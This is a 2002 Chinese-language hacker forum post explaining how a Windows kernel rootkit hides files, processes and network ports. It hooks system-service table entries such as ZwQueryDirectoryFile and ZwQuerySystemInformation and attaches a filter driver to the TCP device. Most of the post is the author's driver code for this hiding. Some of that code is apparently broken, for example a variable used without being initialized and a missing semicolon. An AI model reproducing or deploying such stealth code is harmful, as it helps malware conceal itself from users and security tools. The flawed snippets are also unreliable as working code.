Author: sinister
Email: sinister@whitecell.org
Homepage:http://www.whitecell.org
Date: 2002-05-08

查找进程,目录/文档,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下才可修改。关于如何修改已有文章周详介绍过,这里不在详述。(能够参见 sysinternals.com 或 WebCrazy 所写的文章)。查找端口用的是 TDI 查询。TDI 导出了两个设备 //Device//Tcp 和 //Device//Udp。我们能够利用设备过滤驱动的方法写一个 DRIVE 把这两个设备的任何 IRP 包接管过来进行处理后再传给下层驱动。以达到隐藏任意端口的目的。上述提到的方法不是新东西,是在N年前就已有的老技术。俺现在将他贴出来只但是为了充实下版面,灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程,目录/文档,端口代码片段。
(注册表操作在 RegMon 中写的很周详,这里就不列出了)

typedef struct _FILETIME
{
  DWORD dwLowDateTime;
  DWORD dwHighDateTime;
}FILETIME;

typedef struct _DirEntry
{
  DWORD dwLenToNext;
  DWORD dwAttr;
  FILETIME ftCreate, ftLastAccess, ftLastWrite;
  DWORD dwUnknown[ 2 ];
  DWORD dwFileSizeLow;
  DWORD dwFileSizeHigh;
  DWORD dwUnknown2[ 3 ];
  WORD wNameLen;
  WORD wUnknown;
  DWORD dwUnknown3;
  WORD wShortNameLen;
  WCHAR swShortName[ 12 ];
  WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;

struct _SYSTEM_THREADS
{
  LARGE_INTEGER KernelTime;
  LARGE_INTEGER UserTime;
  LARGE_INTEGER CreateTime;
  ULONG WaitTime;
  PVOID StartAddress;
  CLIENT_ID ClientIs;
  KPRIORITY Priority;
  KPRIORITY BasePriority;
  ULONG ContextSwitchCount;
  ULONG ThreadState;
  KWAIT_REASON WaitReason;
};

struct _SYSTEM_PROCESSES
{
  ULONG NextEntryDelta;
  ULONG ThreadCount;
  ULONG Reserved[6];
  LARGE_INTEGER CreateTime;
  LARGE_INTEGER UserTime;
  LARGE_INTEGER KernelTime;
  UNICODE_STRING ProcessName;
  KPRIORITY BasePriority;
  ULONG ProcessId;
  ULONG InheritedFromProcessId;
  ULONG HandleCount;
  ULONG Reserved2[2];
  VM_COUNTERS VmCounters;
  IO_COUNTERS IoCounters;
  struct _SYSTEM_THREADS Threads[1];
};


// 隐藏目录/文档

NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
  NTSTATUS rc;
  CHAR aProcessName[80];
  ANSI_STRING ansiFileName,ansiDirName;
  UNICODE_STRING uniFileName;
  PP_DIR ptr;

  WCHAR ParentDirectory[1024] = {0};
  int BytesReturned;
  PVOID Object;


// 执行旧的ZwQueryDirectoryFile函数
  rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(hFile,hEvent,IoApcRoutine,
     IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,
     FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);

  if(NT_SUCCESS(rc))
  {
    PDirEntry p;
    PDirEntry pLast;
    BOOL bLastOne;
    int found;
    p = (PDirEntry)FileInformationBuffer; // 将查找出来结果赋给结构
    pLast = NULL;
  
    do
    {
      bLastOne = !( p->dwLenToNext );
      RtlInitUnicodeString(&uniFileName,p->suName);
      RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
      RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
      RtlUpperString(&ansiFileName,&ansiDirName);
    
      found=0;

      // 在链表中查找是否包含当前目录
      for(ptr = list_head; ptr != NULL; ptr = ptr->next)
      {
        if (ptr->flag != PTR_HIDEDIR) continue;
        if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name))
        {
          found=1;
          break;
        }
      }//end for

      // 假如链表中包含当前目录,隐藏
      if(found)
      {
        if(bLastOne)
        {
          if(p == (PDirEntry)FileInformationBuffer )
          {
            rc = 0x80000006; //隐藏
          }
          else
            pLast->dwLenToNext = 0;
          break;
        }
        else
        {
          int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
          int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;
          RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );
          continue;
        }
      }
      pLast = p;
      p = (PDirEntry)((char *)p + p->dwLenToNext );
    }while( !bLastOne );
  RtlFreeAnsiString(&ansiDirName);
  RtlFreeAnsiString(&ansiFileName);
  }
  return(rc);
}


// 隐藏进程

NTSTATUS HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
  NTSTATUS rc;

  ANSI_STRING process_name,process_uname,process_name1,process_name2;
  BOOL g_hide_proc = TRUE;
  CHAR aProcessName[80];
  PP_DIR ptr;
  int found;

  // 执行旧的ZwQuerySystemInformation函数

  rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))(SystemInformationClass,
         SystemInformation,SystemInformationLength,ReturnLength );

  if(NT_SUCCESS(rc ))
  {
    if( g_hide_proc && (5 == SystemInformationClass))
    {
      // 将查找出来结果赋给结构
      struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
      struct _SYSTEM_PROCESSES *prev = NULL;

      // 遍历进程
      while(curr)
      {
        if((0 < process_name.Length) && (255 > process_name.Length))
        {
          found=0;
          // 遍历链表
          for(ptr=list_head;ptr!=NULL;ptr=ptr->next )
          {
            if(ptr->flag != PTR_HIDEPROC) continue ;
            if(memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
            {
              found =1;
            }
          }

          // 判断假如是隐藏进程名则覆盖掉此进程名
          while(found)
          {
            if(prev)
            {
              if(curr->NextEntryDelta)
              {
                prev->NextEntryDelta += curr->NextEntryDelta;
              }
              else
              {
                prev->NextEntryDelta = 0;
              }
            }
            else
            {
              if(curr->NextEntryDelta)
              {
                (char *)SystemInformation += curr->NextEntryDelta;
              }
              else
              {
                SystemInformation = NULL;
              }
            }
            if(curr->NextEntryDelta)
              ((char *)curr += curr->NextEntryDelta);
            else
            {
               curr = NULL;break;
            }
            // 遍历链表
            found = 0;
            for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
            {
              if (ptr->flag != PTR_HIDEPROC) continue ;
              if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
              {
                found = 1;
              }
            }
          }
        }
        if(curr != NULL)
        {
          prev = curr;
          if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
          else curr = NULL;
        }
      }
    }
  }
  return(rc);
}



//隐藏端口

PDEVICE_OBJECT m_TcpgetDevice;
PDEVICE_OBJECT TcpDevice;
UNICODE_STRING TcpDeviceName;
PDRIVER_OBJECT TcpDriver;
PDEVICE_OBJECT TcpgetDevice;
PDEVICE_OBJECT FilterDevice
PDRIVER_DISPATCH Empty;
NTSTATUS status;

Empty = DriverObject->MajorFunction[IRP_MJ_CREATE];
RtlInitUnicodeString( &TcpDeviceName, L"//Device//Tcp");

//得到已有的设备指针

status = IoGetDeviceObjectPointer( &TcpDeviceName,FILE_ALL_ACCESS,&FileObject,&TcpDevice);

if(!NT_SUCCESS(status))
{
  DbgPrint("IoGetDeviceObjectPointer error!/n");
  return status;
}

DbgPrint("IoGetDeviceObjectPointer ok!/n");

// 建立设备
status = IoCreateDevice( DriverObject,sizeof(DEVICE_EXTENSION),NULL,
         FILE_DEVICE_UNKNOWN,0,FALSE,&FilterDevice);
if(!NT_SUCCESS(status))
{
  return status;
}

// 加入设备

TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);

if(!TcpgetDevice)
{
  IoDeleteDevice(FilterDevice);
  DbgPrint("IoAttachDeviceToDeviceStack error!/n");
  return STATUS_SUCCESS;
}

m_TcpgetDevice = TcpgetDevice;

// 加到过滤函数中处理
for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
{
  if((TcpDriver->MajorFunction[i]!=Empty)&&(DriverObject->MajorFunction[i]==Empty))
  {
    DriverObject->MajorFunction[i] = PassThrough;
  }
}

ObDereferenceObject(FileObject);

NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
  NTSTATUS status;
  PIO_STACK_LOCATION pIrpStack;
  pIrpStack = IoGetCurrentIrpStackLocation( Irp );

//如是查询则完成 IRP
if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX)
{
  //这里能够近一步判断某个端口
  Irp->IoStatus.Status=STATUS_SUCCESS;
  IoCompleteRequest(Irp,IO_NO_INCREMENT);
  return STATUS_SUCCESS;
}

//复制当前 IRP
IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine( Irp,GenericCompletion,NULL,TRUE,TRUE,TRUE);

//传递
return IoCallDriver( m_TcpgetDevice, Irp);